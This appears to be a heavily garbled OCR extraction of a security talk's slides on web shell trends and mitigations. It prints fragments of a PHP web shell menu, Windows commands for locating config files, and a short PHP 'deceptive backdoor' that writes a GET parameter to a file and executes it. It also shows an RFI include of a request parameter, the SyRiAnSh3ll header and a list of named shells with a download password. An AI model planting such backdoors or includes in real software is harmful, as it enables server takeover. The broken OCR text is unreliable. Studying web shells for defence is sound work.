'win')
Saliases =-array(
AMList Directory" =>""dixr",

if (Sos ==

<center><div id="menu'">

nyr= n
Hy=
Ny
ny=n

<a href="?<?php echo
<a href="?<?php echo

<a href="2<? echo

<af href="72<?
<8 HNref="2<?p
<a href="?<?php
<a href="?<?php Y
<a href="?<?php echo

<a href="2<?php’ echo "
<a href="?<?php

<a href="2<?
<a href="2<&2 W=
<a href="72<2 eeho y=1
 href="?<?php ‘eci™ A
= o re 17 (; 1

"Find index.php in current dir*-=s "dir /s /w /b index.php",
"Find *¢onfig*.php in c¢urrent dir" => "dir /s /w /b *config*.php",

"Show active connections"

" net st

3 1

~m "

’

;:ZEEL}x=she11">She1,~

. Spwd; ‘
. Spwd; ?>&amp{x=php">Eval</g3
.$pwd ;. ?>&amp; x=sql">Mysql</a

?>&amp ; x=dump" >Databasg
?>&amp ;x=phpinfo">Php I
?>&amp;x=netsploitmz§§5 e
&amp;x=upload">Uploadéﬂéf
mp;x:mai1">E—M§il</é;3’

amp;x:sqli—scanﬁ@?*sSQLI
2>&amp ; X=port-sc">Port Scaﬁ

.Spwd,; ?>&amp;x=dos">DﬁQs§ja>
.Spwd ; ?>&amp;x:tool">Toof§2/a$_

) Spwdg? >&amp; X=python"spython</a%s
- SpHa; “v%ﬂ?;x¥ﬂxplink%>SlefﬁE%/

Shell No! z Adversary Web Shell Trends & Mitigations

Levi Gundert z VP of Information Security Strategy
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weoonell

JA web shell Il s a script that can be u
administration of the machine. Infected web servers can be either Internet -

facing or internal to the network, where the web shell is used to pivot further

to internal hosts.

A web shell can be written in any language that the target web server
supports. The most commonly observed web shells are written in languages
that are widely supported, such as PHP and ASP. Perl, Ruby, Python, and Unix
sih el =uis ¢ lelaspste LAROCERT al s 0 ~U/s.ed. -}
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Shell

JA Uni x s hel Hneiinterprater orchalhl@anpovides a traditional
Unix-like command line user interface. Users direct the operation of the
computer by entering commands as text for a command line interpreter to
execute, or by creating text scripts of one or more such commands. Users
typically interact with a Unix shell using a terminal emulator, however, direct
operation via serial hardware connections, or networking session, are
common f or serWikipedissy st ems. j
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Deceptive backdoor
2014 4 24 | ; / a
:backdoor.php -http://xxx.com/?list=assert($_POSTIXx)); X

01 <?php

02 /*

03 *

04 *

05 */

06 if(isset($_GETT'list])){

07 mud();

08}

09 function mud(){

10 $fp=fopen(‘content_batch_stye.html','w");

11 file_put_contents(‘content_batch_stye.html',"<?php\r\n");
12 file_put_contents(‘content_batch_stye.html',$ GET['list'],FILE_ APPEND);
13 fclose($fp);

14 require ‘content_batch_stye.html';}

1525
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JTop 103 Shel4dHackdrBiu |

Shell List;

C99Shell v. 1.0 beta (5.02.2005) PHP
b374k PHP

b374k-mini-shell PHP

Cyber Shell PHP

GFS Web-Shell PHP

NFM 1.8 PHP

r57shell PHP

Small Web Shell by ZaCo PHP

nsTView v2.1 PHP

DxShell v1.6 PHP

C99madShell v. 2.0 madnet edition PHP -

Download | 1.46 MB
Password = hackintruths
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A Real Problem

Yof the samples U have-25%ewmeyvVv e
detected by anti -virus/anti-malware solutions.

If In a single given system one may find 1 or 2 articles of
malware (non-web shell malware), the least amount of web
shells | have found on a system has been 11, with the most
being almost 30 on a single system in a single environment.

- Bill Powell (Payment Software Company)
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<?php

# .. SYRIAnSh3II V8 .... PRIV8! ... DONT LEAK! .... fOr t3amemberz Only!

# ’__/\ __________ R -——=- R N\ -,

= T | O ..SyRiAnSh3II V8 ....
#H o A |

#00\ ;- , __EH <SyRIAn| 34G13__|

# I XXXXXX | ]

# ] XXXXXX /Y ]

# [ XXXXXNA/ (

# [ XXXXXX /!

# [ XXXXXX /! repOrbugz t0: sy34[atjmsn[dot]jcom
#( (!

H D

#.... PRIV8! ... DONT LEAK! .... fOr t3amemberz Only!
#.... PRIV8! ... DONT LEAK! .... fOr t3amemberz Only!
#

# Coders :
# SyRiIAn_34G13: sy34@msn.com [ Main Coder ] .
# SyRIAn_SnlpEr zg9@hotmail.it [ Metasploit RC ] .

# SyRIANnSh3Il V8 .

# Copyright (C) 2012 - SyRiAn34G13

# This program is free software; you can redistribute it
and/or modify

# it under the terms of the GNU General Public License
as published by

# the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.

# This program is distributed in the hope that it will be
useful,

# but WITHOUT ANY WARRANTY:; without even the
implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.

# | WISH THAT YOU WILL USE IT AGAINST ISRAEL ONL

# Darkness Caesar : doom.caesar@gmail.com [ Finding 3 Bugs ] .
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Open Web Application Security Project

A Cross-Site Scripting
A SQL Injection
A CMS application vulnerabilities
A User input checks/sanitation failures
A Remote File Include (RFI) & Local File Include (LFI)
A Administrator interface discover and brute forcing




Applications+ Home Alerting Export S

SQ |_| VS. RF' Customize View £#

Colors

B English
. B Arabic
Persian/Farsi
. ron

Spanish
B French
Russian

. Chinese (Simplified)
. . B Other
. Total references

Event Marker Size

@
- n0sliins QRN 0% .uu:s.o- Sedbaowval®l S

~ Hidden (5)

@
- eatn e 0o cBUES 00 o00¢ 00odlo mun® aitecadd of oclhaaButtBions

Jun Jul Aug Sep Oct MNov Dec Jan Feb Mar Apr May Jun Jul Aug Sep Oct MNov Dec Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr May Jun
2013 2014 2015 2016

Jun‘l?DHE 3years v B2 jun 1 2016
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RF

$incfile = $ REQUEST["file"];
include($incfile.".php™):;




PHP 7 OPCache Binary Webshell

X

vay  WebShell Cyber attack

> 6+ references * 1 source » China

¢€if you have not seen before on our
hidden PHP7 OPcache binary file webshell article, we recommend
that you read before continuing. 22

Show original

> See references # Hide this event

> Save reference to... * Flag for review
> Share this event...

https://blog.gosecure.ca/2016/04/27/binary -webshell-through -opcache-in-php-7/
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FEB

15

2016

FEB

15

2016

config.php and PHP injection mentioned on Feb 15, 2016

A simple exploit below will modify "/framework/conf/config.php" file and inject simple web shell into it: After successful PHP code
injection, the attacker can execute arbitrary system command viathe web shell.

PHP injection mentioned on Feb 15, 2016

After successful PHP code injection, the attacker can execute arbitrary system command viathe web shell.
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